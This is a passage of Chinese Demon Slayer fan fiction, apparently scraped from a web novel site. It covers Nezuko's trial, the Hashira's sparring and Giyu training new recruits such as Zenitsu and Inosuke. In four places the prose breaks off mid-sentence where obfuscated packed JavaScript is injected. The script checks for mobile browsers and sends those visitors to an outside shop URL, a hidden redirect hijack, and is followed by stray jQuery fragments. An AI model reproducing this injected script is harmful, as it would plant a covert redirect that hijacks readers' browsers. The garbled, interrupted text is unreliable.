栗花落香奈乎注意到富冈义勇的视线,就冲着他笑了笑。 富冈义勇点头示意,做出恭喜的口型。 栗花落香奈乎看上去更高兴了,眯着眼睛笑着。 不死川玄弥是不死川实弥的弟弟这件事也是富冈义勇在核查最终选拔的参与名单时才知道的。 在柱合会议结束后,富冈义勇还问过不死川实弥,怎么一直没听说他有个弟弟。 不死川实弥沉默片刻,才解释了当年他杀死变成鬼的母亲后,被不死川玄弥看到了。 再怎么样,那都是他们的母亲。 不死川实弥一直以为不死川玄弥无法原谅自己,就和他分开,一个人走在杀鬼的道路上。 他也是看到名单时,才发觉弟弟也走上了杀鬼这条路。 如果在以前,不死川实弥肯定会二话不说就驳回他的参与资格。因为他不想弟弟也和他一样,过着与鬼搏杀的危险日子。 但在鬼杀队待了这么久,还看到了逝去的母亲,他暴躁的性格渐渐被抚平,也想趁此机会和不死川玄弥好好解释,解除当年的误会。 富冈义勇不认识不死川玄弥,但环视通过的人员时,他留意到有个人和不死川实弥的眼睛非常像,忍不住就多看了几眼。 而人群中的灶门炭治郎显得格外显眼,因为他的身边有很多人在和他聊天。 灶门炭治郎性格好,为人也温柔,在最终选拔里联合了不少人一起对付鬼,也因此结识了不少小伙伴。 离他比较近的就有一个黄头发的少年,衣服上带着灰尘,脸上还挂着泪珠。 还有一个带着猪脑袋头套还裸露着上身的少年,他拿着一把双刀,看上去有些急躁。 在负责人宣布完通过人员的名单后,这些人就可以离开了,后续队服、日轮刀还有鎹鸦,这些都会在三天后统一安排,并在结束后直接展开特训。 等人群渐渐散开,富冈义勇就朝着灶门炭治郎走过去。 “灶门炭治郎,和我走。”他的语气平静,没有掺杂额外的情绪。 主公一定比他更早收到灶门祢豆子醒来的消息,一定会派人过去将她带过来。 现下灶门炭治郎通过最终选拔,正是召开审判的最佳时机。 灶门炭治郎乖乖跟在富冈义勇的身后,但还是疑惑地问:“富冈先生,怎么了吗?你的心情闻上去非常严肃。” 富冈义勇看了他一眼,语气没有变化:“灶门祢豆子苏醒,鬼杀队将展开对你们二人的审判。” 灶门炭治郎前进的脚步顿住,又很快跟上去。他脸上有说不出的喜悦:“祢豆子醒了?太好了!” 富冈义勇抬手,打了灶门炭治郎脑袋一下:“冷静一点。虽然你妹妹醒过来是好事,但如果她无法证明自己,我会亲手杀了她。” 灶门炭治郎揉着脑袋,委委屈屈:“我知道了。” 他很快打起精神:“我相信祢豆子她一定可以做到的!” 富冈义勇的嘴角微微上扬了下:“嗯。” 他收敛起笑意,脸上是静水一般的平静:“我带你去见主公和其他几位柱,你妹妹应该也过去了。见到你妹妹的时候不可以激动,这次的审判关乎你们二人的未来,你需要保持理冷静。一会不管我们说什么,做什么,你都不许反驳,只能老老实实看着。” “审判的过程和我之前给你说的那样,我会刺伤祢豆子,然后靠近受伤的她。” 灶门炭治郎在听到灶门祢豆子会受伤的时候,眼睛黯淡了一下,然后用力地点头:“嗯!我相信祢豆子和富冈先生,不会打扰你们的!” 最终选拔结束后,四个柱还会进行一些善后工作。在得知灶门祢豆子醒来的消息时,他们都不约而同地加快了手里的动作。 对灶门炭治郎和灶门祢豆子的审判,要开始了。 灶门祢豆子被宇髄天元和不死川实弥带了过来。 由于还是白天,灶门祢豆子躲在鳞泷左近次特质的箱子里,在到达产屋敷耀哉的宅子后,她就被放到了屋里没有阳光的阴暗处。 不过由于审判还未开始,所以箱子并没有打开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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为什么富冈先生要涂抹上这个血液靠近祢豆子? 还有最后,如果祢豆子没有做到,为什么富冈先生会被逐出鬼杀队? 灶门炭治郎的眼角渐渐湿润,正想做什么,就被旁边的富冈义勇按住脑袋。 “别忘了我之前说的话。”富冈义勇轻轻说了一句。 不许反驳,不许做什么,只是老老实实看着。 灶门炭治郎的眼泪终是流了下来。 富冈先生…… 当初救下他和妹妹,给他们指出如今的路,会为他的未来考虑,还耐心地教导他。 现下更是为了他和妹妹,赌上了自己的声誉和未来。 他该如何回报这样的富冈先生? 62.第 62 章 产屋敷耀哉念完流程,就看向富冈义勇:“审判开始,请现任水柱富冈义勇上前。” 富冈义勇起身,从身上拿出来装着不死川实弥血液的试管。他走到屋里,将装有灶门祢豆子的箱子打开。 灶门祢豆子没有出来,蜷缩在箱子里。 富冈义勇拔出刀,发出凛冽的寒光。 灶门炭治郎眼里满是担心。在旁边的人是蝴蝶香奈惠,出声安抚他:“不会有事的。我们只需要安静地看着。” 蝴蝶香奈惠的声音很是温柔,让灶门炭治郎焦躁不安的心略微和缓下来。 灶门炭治郎点点头,却还是紧盯着屋里。 富冈义勇避开了灶门祢豆子的要害,用刀刺伤了她的身体。 刀刃进入肉.体的声音,让灶门炭治郎不忍去看,却又强逼着自己不能移开视线。 他攥紧双手,指节微微泛白。 装有不死川实弥血液的试管是密封着的,富冈义勇就直接用刀将试管打碎,让里面的血液流到他的手上。 破碎的试管掉落在地面,发出清脆的响声。 与此同时,血液随之滴落。 “富冈!”外面的人不禁惊呼。 富冈义勇的手背被试管碎片划伤了。 他看了一眼,平静地说:“没事,伤口很小。” 刚刚还让灶门炭治郎安静的蝴蝶香奈惠先站不住了:“富冈,你的伤必须马上处理,伤口被试管碎片划伤很有可能感染。” 富冈义勇微怔,似乎没想到这件事,他对着蝴蝶香奈惠摇摇头:“蝴蝶,等一等。” 他直接迈出步子,靠近受伤的灶门祢豆子。 灶门祢豆子还躲在箱子里,富冈义勇只得伸手,将她慢慢扶起来。 “你现在受了伤,正是需要人血肉的时候。”富冈义勇看着她,语气像是静水一般平缓而不带感情。 “你能控制住自己,不去伤害人类吗?”富冈义勇发问。 灶门祢豆子觉得身上很痛,用尽全力控制着自己的身体。 不可以伤害人类。 凭着这样的决心,灶门祢豆子甩开富冈义勇的手,重新蜷缩回箱子里,甚至自己关上了门。 看见这一行为,产屋敷耀哉连忙开口:“审判结束。” “灶门祢豆子成功证明自己仍有理智存在,鬼杀队将承认灶门祢豆子和灶门炭治郎的成员身份。”产屋敷耀哉说得极快。 而在产屋敷耀哉说完最后一个字时,蝴蝶香奈惠就直接飘到富冈义勇身侧,拿出随身的消毒水,开始给他的手背消毒处理。 其他人也赶紧凑过去。 “当初不是只说把血液倒在你手上吗?为什么你要把试管打碎啊?!”不死川实弥十分不理解。 富冈义勇皱了下眉,虽然伤口很小,但蝴蝶香奈惠消毒得时候还是有点痛,他扭头看向不死川实弥:“我之前研究过,打不开,只能用刀打碎了。” 语气很是无辜。 “那你不会直接喊我现场给你弄啊?!”不死川实弥觉得他和富冈义勇真的是合不来。这人怎么能这么气他? 富冈义勇眨眨眼:“这样你会受伤。我不想你们因为这件事有任何风险 。” 不死川实弥的气消了大半,只化作满心的无奈:“笨蛋。” 时透无一郎接过产屋敷日香递来的医药箱,抱着问蝴蝶香奈惠:“蝴蝶,这些东西够吗?” “要不要直接把富冈绑去蝶屋?”伊黑小芭内冷飕飕来一句。 富冈义勇看着手背,疑惑地说:“没有这么严重吧?以前伤口碰到鬼的血也都没关系的。” 蝴蝶香奈惠手上的动作一点没停,给富冈义勇解释:“除了鬼舞辻无惨的血液会影响人类,其他鬼的血液都不会造成感染。但人类的血就不一定了。” “虽然不死川先生的身体很健康,但还是要抽个血检查一下。”蝴蝶香奈惠抬头看富冈义勇,唇边的笑意未变,“富冈先生,走吧,和我们去趟蝶屋。” “好。”富冈义勇知道大家都在担心,很是干脆地点头。 “主公,恕我们失礼,我们先带富冈去蝶屋了。”在簇拥着富冈义勇去蝶屋前,炼狱杏寿郎对产屋敷耀哉微微欠身。 产屋敷耀哉挥手让他们赶紧去:“没事的话记得告诉我一声。” “好的主公。”炼狱杏寿郎说完就跑了出去。 徒留不知道情况的灶门炭治郎站在院子里。他看着空荡荡的院子,又看了看站在屋里的产屋敷耀哉。 “富冈先生手被划伤很严重吗?”灶门炭治郎不禁问出声。 产屋敷耀哉回答他:“这算是暴露伤,大家就比较担心。” 不过更多,还是因为义勇有太多次伤重的先例吧。 产屋敷耀哉让灶门炭治郎进屋:“这场审判是必须要走的流程,大家都不想伤害祢豆子。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17335658|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我明白的。我没想到所有柱居然都愿意为我和我妹妹请愿。”灶门炭治郎来到箱子附近,蹲下身,将箱子打开,看到了又睡过去的妹妹。 “我真的很感谢大家。”他轻轻抚过妹妹身上受伤的地方,“尤其是富冈先生,如果当初没有遇到他,我真的不知道该怎么办才好。” 对鬼没有了解,不知道该如何制止变成鬼的妹妹,更不知道该如何将妹妹变回人类。 惶恐、不安、还有失去家人的悲伤。 如果没有遇见富冈义勇,灶门炭治郎真的不知道自己会怎么样。 现下他知道了什么是鬼,更知道了谁是杀害了他们家人的仇人,妹妹也有了能变回人类的希望。 他的心里充满了感激。 产屋敷耀哉摸了摸灶门炭治郎的头:“为期一个月的特训马上就要开始了,到时候让祢豆子去珠世那边吧。” “珠世是一名鬼,也是一名医生。之前你妹妹的情况也是她一直在跟进。” “原来是这样。”灶门炭治郎恍然。 他只知道鬼杀队有人在分析祢豆子的血液,却并不知道是珠世在做。 灶门炭治郎摸了摸妹妹的头发:“祢豆子,我一定会把你变成人类的。” 产屋敷耀哉站在他的身侧,看向蝶屋的地方:“你们兄妹能走到现在,义勇付出了很多。” 富冈义勇从不会说他付出了多少,产屋敷耀哉自然也不会多嘴,只是叮嘱道:“炭治郎,你一定要好好提高自己的实力,方不辜负义勇付出的一切。” 灶门炭治郎用力点头:“嗯!我一定会努力!我会尽快成长起来,保护好妹妹!” 开朗而又坚定的笑意。 产屋敷耀哉嘴角微微扬起,拍了拍他的后背:“去吧,会有人带你去见珠世。我知道你担心你妹妹的情况,可以趁机和她好好聊聊。” 提前安排好的隐成员已经在等着了。 灶门炭治郎将装有灶门祢豆子的箱子背起来,和产屋敷耀哉告辞。 产屋敷耀哉望着他的背影。 所有柱团结一心。 最终药剂的研究稳步推进。 现下还多了变成鬼后仍保持理智的灶门祢豆子以及拥有日之呼吸的灶门炭治郎。 产屋敷耀哉抬头看向湛蓝的天空。 他笑了出来,是难得的意气风发。 胜利的天平已经在倾斜了。 63.第 63 章 富冈义勇手背上的划伤被很仔细地处理了,还连带做了很多检查。 等结果出来,显示他一切正常,什么事都没有的时候,一群人都松了口气。 被围在中间的富冈义勇一脸无辜,在蝶屋养伤的普通队员瑟瑟发抖。 这是上弦鬼又出现了吗? 九位柱全部来蝶屋了,还一个个都这么严肃。 蝴蝶香奈惠大手一挥,让一群人都各自散了。 富冈义勇脸上的表情不变,很是坦然地走出蝶屋,询问宽三郎灶门炭治郎和他妹妹怎么样了。 在得知他们两个人去找珠世小姐后,富冈义勇点了点头。 特训马上开始了,祢豆子去珠世小姐那边也好。 宽三郎落在他的脑袋上,问他:“义勇,你要去见珠世小姐吗?主公已经告诉我珠世小姐的现居住地在哪了。” 富冈义勇陷入思考。 他几个月前见过珠世一面,当时是去送灶门祢豆子的血液样本。 因为养伤和禁足的关系,那会富冈义勇和珠世已经快两年没有见过面了。再次见面,两个人聊了很多。 珠世见到富冈义勇的变化很是开心,重新给他的心理情况做了评估,发现他基本没什么问题,也不用再定期去找她进行心理疏导了。 愈史郎脸上的表情不显,但在听到珠世的结论时做了不少好吃的出来。 富冈义勇虽有心探望珠世,但现下灶门炭治郎和灶门祢豆子刚刚过去,他便摇了摇头:“改天吧。他们兄妹应该有很多想问珠世小姐的,我不过去打扰了。” 一如富冈义勇所想,灶门炭治郎的脑子里有一堆的疑问。 祢豆子现在这样是怎么回事? 她有没有可能变回人类? 她两年没吃东西,会不会饿?饿的话该吃些什么? 出于礼貌,他并没有将所有的疑问都问出口,而是安静地听珠世讲话。 “祢豆子在昏睡的这段时间里,每次取来的血液都在发生着变化。”珠世面容平和,看向蜷缩在灶门炭治郎身旁的灶门祢豆子,“她醒过来以后的血液我也做了对比,这次的血液情况比往常更多变。” “简单说就是在短时间内,她的血液成分会发生无数次的变化。” 灶门炭治郎一脸的担心,抚摸着妹妹的头发:“这是正常的情况吗?” 珠世继续道:“对于鬼来说,血液成分时刻会发生变化是正常的。经过我的研究,体内拥有鬼舞辻无惨的血液越多,他们的血液变化速度就越快,这也是鬼受伤后能很快恢复的原因。” “而祢豆子的变化速度比上弦二的鬼还要快上不少。我尚且找不到原因,但这种情况对她来说很可能不是一件坏事。” 珠世看向还在睡的灶门祢豆子:“在变成鬼后,祢豆子没有进食,但身体的各项数据又很正常,说明她是通过睡眠在补充身体所需要的能量。现在她苏醒过来,很可能不需要进食都能维持生存。” 灶门炭治郎听得很认真。 珠世犹豫了一会,还是将自己的猜测说了出来:“祢豆子的血液变化速度这么快,很有可能会让她成为第一个克服阳光的鬼。” 灶门炭治郎微愣。 鬼害怕阳光,会在阳光的照射下变成灰烬,这是众所周知的事情。 他看向灶门祢豆子,眼里的担忧更浓了。 “鬼舞辻存活千年,一直在找克服阳光的办法。如果祢豆子真的有一天克服了阳光,无疑会成为他追捕的对象,然后倾尽全力想要把祢豆子捉到手,而不会像……”珠世忽然收住话头,轻咳一声,“而不会像捉不捉到都可以一样无所谓。” 义勇被鬼舞辻追杀的消息还是不要从她这里透露出去了。 灶门炭治郎留意到珠世的停顿,有些疑惑,却没有多问。他握住灶门祢豆子的手:“我一定会保护好祢豆子的,不会让她被抢走。” 珠世点点头:“关于变回人类的药剂,我会去研究。如果有了结果,会有人通知你。” 在旁边站着的愈史郎眼里尽是不满,因为珠世大人每天要做的事真的很多。 缓解产屋敷耀哉病情的药剂,对付鬼舞辻无惨的药剂,还时不时要和蝶屋那边联手解决一下疑难病情,现在还加了一个变成人类的药剂。 这么多事要做,珠世大人都要休息不好了。 这边愉快地交谈着,另一边的富冈义勇已经回到了家,正拿着花洒给家里的花浇水。 他鼻子一痒,打了个喷嚏出来。 是灰尘太多了吗? 富冈义勇疑惑地对着地面洒了些水。 特训马上要开始,九个柱会利用空闲时间彼此切磋对练。 富冈义勇很期待这次的对练。上次的特训他因为身体原因都没有和大家好好打一场,现在可以用尽全力去对打了。 他手背上的伤口很小,在那之前基本能好得差不多。 这几天就在家里好好休息吧。 休息,训练,吃饭,养花。 富冈义勇很是悠闲地度过了这两天。 特训如期召开,新人去参加理论考试,九位柱也凑在一起。 “富冈,这次来好好打一场吧。” “我也很想见识见识富冈现在的实力。” “大家轮着来。走,和富冈打之前,先和我打一场。” 在愉快又轻松的气氛里,各种呼吸法的显化碰撞在一起。 富冈义勇握紧着刀,唇边扬起自信的笑意。 少年意气,不外如是。 九个人挨个对练完,几个人全都筋疲力尽地坐在地上。 原本平坦的空地,也变得坑坑洼洼,多了不少破坏的痕迹。 “富冈,你这实力提高了不少啊。”宇髄天元扭头看过去。 富冈义勇双手支在身后,呼吸微微喘息着。他的力量和速度在九个柱里都不算顶尖,现在和每个人打了一遍,还真有些吃不消。 “和你们比,还差得有些远。”他实事求是地说着。 不死川实弥支着脑袋:“水之呼吸一向不以攻击为主,你能和我们打成这样还不满意啊?” 如果只用水之呼吸十个型,富冈义勇能和他们这些人打成五五开。要是加上他自创的十一型和十二型,他是能直接打赢他们的。 炼狱杏寿郎脸上的笑容依旧,声音也很有精神:“刚刚和富冈打,我还不小心被打到了。” “富冈,你一点伤没受吧。”伊黑小芭内摸着镝丸,“时透和我打的时候都被打中不少。” 时透无一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340280|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郎点头,笑着说:“被打中的地方还蛮疼的。不过我会尽快提升自己能力的。” 蝴蝶香奈惠笑意温柔:“受伤的人一会和我去蝶屋,淤青什么的都要好好处理一下的。” 一群人纷纷点头。 “大家现在这样团结一心,真的很令人感动。”作为柱里实力最强的人,悲鸣屿行冥每次切磋完都脸不红气不喘的。现下看着一群人其乐融融的,又忍不住流下了眼泪。 甘露寺蜜璃捂着脸颊,很是不好意思地问:“富冈先生,今天天气很好,你能不能变彩虹给我们看啊?我想看很久了。” 富冈义勇现在心情不错,就干脆地点点头:“好。” 甘露寺蜜璃眼睛一亮,一脸的期待。 其他人也被勾起兴趣,看向富冈义勇的方向。 富冈义勇起身,来到众人的中间。 他将刀拔出,手起刀落。 “咔嗒”一声,富冈义勇已经收回了刀。 下一秒。 细密的雨丝从天而降,轻柔,温暖。 七彩的虹随之出现。 “哇!”甘露寺蜜璃脸上满是惊喜,眼里尽是那美妙的彩光。 彩虹离他们很近,有人甚至伸出手想要去碰。但彩虹没有实体,只有轻柔的雨丝落到他们的手背。 蝴蝶香奈惠起身,拔刀变出花瓣。 不死川实弥想了想,也拔刀,变出一点柔和的风。 甘露寺蜜璃也闲不住,拿着刀在花瓣雨中转圈。她的呼吸法是恋之呼吸,显化出的东西是爱心一样的气泡。 炼狱杏寿郎也添了一把火,将变出的火焰变成一粒粒火星,像是烟花一样在天空中绽放。 宇髄天元笑着撩头发,音之呼吸不会有显化的实体,而是会出现声音。但那些声音与现在华丽的景象不符合,他就不凑热闹了。 悲鸣屿行冥因为双目受限,无法看到眼前的场景,只是转动着手中的念珠,听着同伴开心的笑声。 富冈义勇抬头看着空中的景象,望了眼闭着双目的悲鸣屿行冥,走了过去,轻声问:“悲鸣屿先生,在上次借用过彼岸河水后,我发现我变出的水或许能作用到人的灵魂上。” “我想试一试,将水滴到你的身上,或许能让你暂时看到现在的景象。” “这对我不会有任何伤害,也不会让我有任何不适。这是很美的场景,我希望你也能看到。” 悲鸣屿行冥转动着念珠,语气和缓:“真的没有任何伤害吗?” 富冈义勇很确信地点点头:“如果有的话,我甘愿再禁足两年。” 这个后果很是严重,悲鸣屿行冥就相信了他,同意他这么做了。 富冈义勇退后了几步,将刀拔出。他闭上双目,在一望无际的海洋中,看到了一个闪亮的白色光团。 他心神一动,手随之挥动,直接将刀举过头顶。 空中的雨更加细密,彩虹也更亮了一分。 悲鸣屿行冥也忽然觉得他能看到了。 晴朗而又湛蓝的天,日光透过树叶洒向地面。 烟火绽放,雨丝飘扬。 彩虹正艳,花瓣含香。 清风卷着爱心的泡泡,映出七彩流光。 放松而惬意的笑容,让他们光芒万丈。 64.第 64 章 在柱们轻松与惬意的切磋中,特训进展得很顺利。 所有人到富冈义勇这里时,都经受了一遍折磨,深刻认识到了自己和柱的差距。 “你就是水柱吗?来和我打一场!”带着头套的少年握着双刀,斗志昂扬。 富冈义勇手里拿着木刀,看了他一眼:“按顺序来,先好好排队。” 灶门炭治郎将少年拉回队里,脸上带着歉意的笑容:“富冈先生,伊之助他就是这个性格,还请不要和他见怪。” 富冈义勇点点头,让他们一群人排好队。 “我是富冈义勇,使用呼吸法为水之呼吸,也是现任水柱,负责特训的最后一项——实战训练。”富冈义勇面对着众人,脸上的表情如静水一般没有波澜,“你们按顺序上前,将特训学到的东西都用出来,我会指出你们的错处和弱点。” “特训时间短,无法让你们学会所有内容。等到特训结束,仍需苦练。一年之后,你们还会回到这里,进行考核。如果考核不过,就要和下一届的新人一起再参加特训。” “与鬼搏杀需要你们用命去战斗,不可以掉以轻心,明白吗?”富冈义勇的声音很平静,却像风雨将至前的大海一样,让人心中生畏。 “明白!”一群人齐声回答。 富冈义勇点头,看向第一个人:“从你开始,上前来吧。” “好!我上了!”这个队员握紧手中的刀,双脚迈开步子,就砍向富冈义勇。 富冈义勇身子微微一侧,躲过攻击,手中的刀干净利落地打向来人的手腕。 木刀无刃,但打在身上还是蛮痛的。 这个队员吃痛,却还是握紧手中的刀,扭身就朝富冈义勇砍过去。 富冈义勇脚尖轻点,一个翻身便来到这人的后面,木刀刺出,直接让人打趴下。 “底盘不稳,速度不够,只注重攻击,防御不行。”富冈义勇给出评价。 他站稳身体,看下人群:“下一个。” 接着上场的是栗花落香奈乎,她的实力可以说是这届新人里最高的那一个。 栗花落香奈乎很是认真:“富冈先生,我会用尽全力。” 富冈义勇点头:“来吧。” 栗花落香奈乎拔出刀,直接将花之呼吸用出来。 与前面的队员不一样,两个人纠缠了好一会。 富冈义勇见栗花落香奈乎的实力进步了不少,也有心打一场教学局,放缓了攻击的速度。 灶门炭治郎就在人群里看着富冈义勇,眼里闪着明亮的光。 这就是富冈先生的实力。 明明很简单的动作,他做出来就非常行云流水,极具力量和速度的美感。 最后栗花落香奈乎的刀被富冈义勇斩断,这场教学局才算结束。 两个人打得颇为激烈,满地都是花瓣和水。 在一众惊艳的眼光里,灶门炭治郎上场了。 灶门炭治郎和富冈义勇对练过,很是佩服他的实力。现下再次对上,更有一种感觉——面前的人是一望无际的海,永远看不到尽头。 对实力的渴望让灶门炭治郎整个身体都战栗起来,他握紧手中的刀,和富冈义勇对打起来。 灶门炭治郎之前被富冈义勇指点过,又被几个柱特殊关照了一番,现在实力进步很大,和富冈义勇打了好几个来回。 水和水碰撞到一起,刀与刀对撞。 如果说富冈义勇的水是海洋,灶门炭治郎现在能显化出来的水只是溪流,完全比不过。 富冈义勇没有厚此薄彼,同样和灶门炭治郎打了一场教学局。 最后灶门炭治郎直接被富冈义勇打趴下,整个人都筋疲力尽。他躺在地上看着天空,脑子还有些空白。 好厉害。 柱们,都好厉害。 在灶门炭治郎之后,是嘴平伊之助。 他握着双刀,二话不说就朝富冈义勇砍过来。 富冈义勇用流流舞躲开攻击的同时,直接打退嘴平伊之助,然后一个挑刺,就把嘴平伊之助的刀挑飞了。 特训期间,柱们常会交流。对于新人中比较特殊的队员,他们都会格外留意,切磋时也会提及。 嘴平伊之助在他们聊天时提起过,他的战斗本能很强,但完全不会动脑。对于这种人来说,教学局打了也是白打,还是要改变他的战斗时的方式。 “太过鲁莽,动作比思考还快。”富冈义勇看着嘴平伊之助,“有战斗的本能是好事,但学会用脑子思考在战斗中也至关重要。” “下一个。” 我妻善逸握着刀,有些唯唯诺诺的。 “握住你的刀,然后出招。”富冈义勇看着他。 我妻善逸眼角泛出泪,整个人都颤颤巍巍的:“我怎么可能打得过水柱?!之前的训练也是,我怎么可能撑得下来?!” 富冈义勇看他:“你就是睡着以后会好好训练的那个人?” 我妻善逸也被几个柱提到过。 醒着的时候各种胆小爱哭,但睡着的时候就跟变了一个人一样,让做什么做什么,刻苦得很。 见我妻善逸蹲在地上,富冈义勇也就走过去。 “你在害怕什么?”富冈义勇同样蹲下身,与他对视。 海蓝色的眼睛深邃而纯净,让人一看就觉得安心。 还在絮絮叨叨着什么的我妻善逸停了下来,眼中只看到那片海蓝色。 “会死的!我一定会死的!”我妻善逸抱住富冈义勇,开始哀嚎。 富冈义勇把他从身上扒下来:“你没有想要保护的人吗?” “如果害怕死,为什么会选择加入鬼杀队?” “所有加入鬼杀队的人,都有着必死的决心。” “如果没有这样的觉悟,就回到你来的地方,继续你的生活。” 像是冬日的静水,平稳,不带一丝感情。 我妻善逸吸吸鼻子:“我师从前任鸣柱桑岛慈悟郎,都是爷爷在教我训练,让我学习。” “你的心很矛盾。”富冈义勇伸出手指,点在他的胸口,“如果害怕,你可以不参加这次的训练。但在特训结束前,你需要告诉我一个答案。” “你是为了什么而挥动手中的刀?” “如果你答不出来,我会上报主公,废除你鬼杀队的队员资格。” 富冈义勇起身,看着后面的人:“下一个。” 所有人都安静了下来。 之前的训练虽然艰苦,但从没有哪个柱说会废除他们的队员资格。 现下听到这句话,所有人都打了个激灵,和富冈义勇对战时,都更加认真了。 我妻善逸低下头,看着手中的刀。 为了什么而挥动手中的刀? 他自出生就被父母抛弃,喜欢的女孩为了和别的男人私奔,骗走了他身上的许多钱,还让他身负巨债。要不是爷爷出现,帮他还清了债款,还收他为徒。他也不知道自己会变成什么样子。 他一直觉得的自己没什么资质,雷之呼吸的几个型里,他也只会第一型,其他什么都不会。 爷爷一直都很用心教他,虽然各种训练都很辛苦,他每次都觉得自己快要死了。 我妻善逸蹲在一边,看着富冈义勇一一和人对战。 如果真的被鬼杀队除名,爷爷会很失望的。 不可以停在这里。 不能辜负爷爷的指导和期望。 为了什么而挥动手中的刀? 我妻善逸不知道。 他将刀收起来,准备用刀鞘打晕自己。 在特训期间,他也察觉到睡着的自己会不一样。如果真的有另一个他,那就代替他走下去吧。 但就在他行动的那一秒,一股水流直接打到我妻善逸的手背,吃痛的他直接松开了刀。 “如果你无法清醒地战斗,我依旧不会认可。”富冈义勇躲开不死川玄弥的攻击,眼睛甚至没有看我妻善逸一秒。 他反握木刀,挡住攻击,又迅速握正,将不死川玄弥打倒在地上。 不死川玄弥躺在地上,眼睛有些无神。 他来鬼杀队,是想保护无辜的人,也想去见大哥不死川实弥。 他的身体不适合修习呼吸法,刀术也很一般。偶尔间,他发现自己可以吃鬼而获得鬼化的能力。后面靠着这项能力杀了不少鬼,也因此通过了最终选拔。 不死川玄弥的表现在最终选拔时被蝴蝶香奈惠注意到,趁着特训没开始,就将他拽到了蝶屋检查。 蝴蝶香奈惠知道不死川玄弥是不死川实弥的弟弟,在把人带走的时候,就通知了不死川实弥。 知道这件事的不死川实弥被吓了一跳,直接用最快速度跑去了蝶屋。 但等到了病房,两兄弟就互相看着对方,谁都没有开口。 在沉默之中,不死川实弥率先开了口:“当年的事,我很抱歉。” 不死川玄弥立马摇头,语气很是激动:“当年的事不怪大哥!是我误会了!这些年我一直都想和你道歉!” 不死川实弥笑了笑,抬手揉着不死川玄弥的脑袋:“这些年,辛苦你了。以后哥哥会照顾你。” 不死川玄弥的眼泪立马就忍不住了。 不死川实弥对此很是手足无措,想要安慰,又不知道该说些什么。 最后还是不死川玄弥调整好情绪,看着他大哥的样子笑了出来。 两兄弟跨越多年,终于重归于好。 蝴蝶香奈惠对不死川玄弥能吃鬼的事很是重视,检查做得很细,有些报告需要时间才会出来,就让不死川玄弥先回去特训。但在结果出来前,不能再使用这个能力。 为了确保不死川玄弥的健康,蝴蝶香奈惠还抽了他两管血,让蝴蝶忍帮着一起研究。 这些年里蝴蝶忍和珠世一起研究最终药剂,可谓是鬼杀队里最了解鬼的人类了。 现下特训马上结束,检查报告也都出来了。 在两姐妹和医生的共同诊断下,吃鬼并没有影响到不死川玄弥的身体。不管是从血液还是各项检查结果来看,他现在依旧是人类无疑。 为了保险起见,她们还是去请教了珠世,而珠世还真就见过这样的案例。 但在珠世记载的医案里,这个人在发现这个能力后不久,就因为其他疾病去世了,所以也不知道这样是否会影响不死川玄弥的未来。 想到不死川玄弥的情况,富冈义勇冷静地说着:“你能凭借吃鬼暂时获得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346542|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼化的能力。站在个人角度,我并不支持这种做法。” “鬼是鬼,人类是人类。即使人类弱小,也不该为了力量向鬼靠近。” “关于你的处置,柱之间尚未确定下来。在我个人看来,你的身体无法支撑你用出呼吸法,便不该为了战斗而强行选择一条不归路。守护从来不是战斗这一条路可以走。我不会干涉你的选择,但如若是我,我绝不会这样去做。” “鬼吞噬人类获取力量,造成了无数的惨剧。若是人类也如此,便显得太过悲凉。” 不死川实弥听着富冈义勇的话,微微垂下眼眸,不知道在思索着什么。 富冈义勇将刀收好,看向众人:“全体休息。之后三人一组,展开组队练习。” 他扭身,看向我妻善逸,“我妻善逸,离特训结束还有两天。如果你找不到答案,我会以水柱身份,将你逐出鬼杀队。” 富冈义勇一直不觉得在战斗中失去意识是一件好事。如果人无法在清醒时握紧手中的刀,那就存在太多不可掌控的风险。 这在战斗中是大忌,不仅可能会浪费自己的生命,更会给同伴带来麻烦。 灶门炭治郎趁着休息时间,走过去安抚我妻善逸。 我妻善逸跪下来,抱着灶门炭治郎开始大声地嚎:“炭治郎!我就是这么没用!我真的好怕死!我对不起爷爷!” 灶门炭治郎摸着他的头:“善逸你很厉害的。” “前面那么多训练你都撑下来了,这次也一定没关系的。” 我妻善逸吸吸鼻子:“可是我也不知道我为什么挥刀?爷爷让我练,我就跟着练。” 灶门炭治郎坐在他身旁,沉吟道:“我是为了保护祢豆子,找到能让她变回人类的方法才开始练刀的。” “如果说理由,那就是为了家人吧。”灶门炭治郎的笑容温柔而又坚定,“为了保护好家人而挥刀,这就是我的答案。” 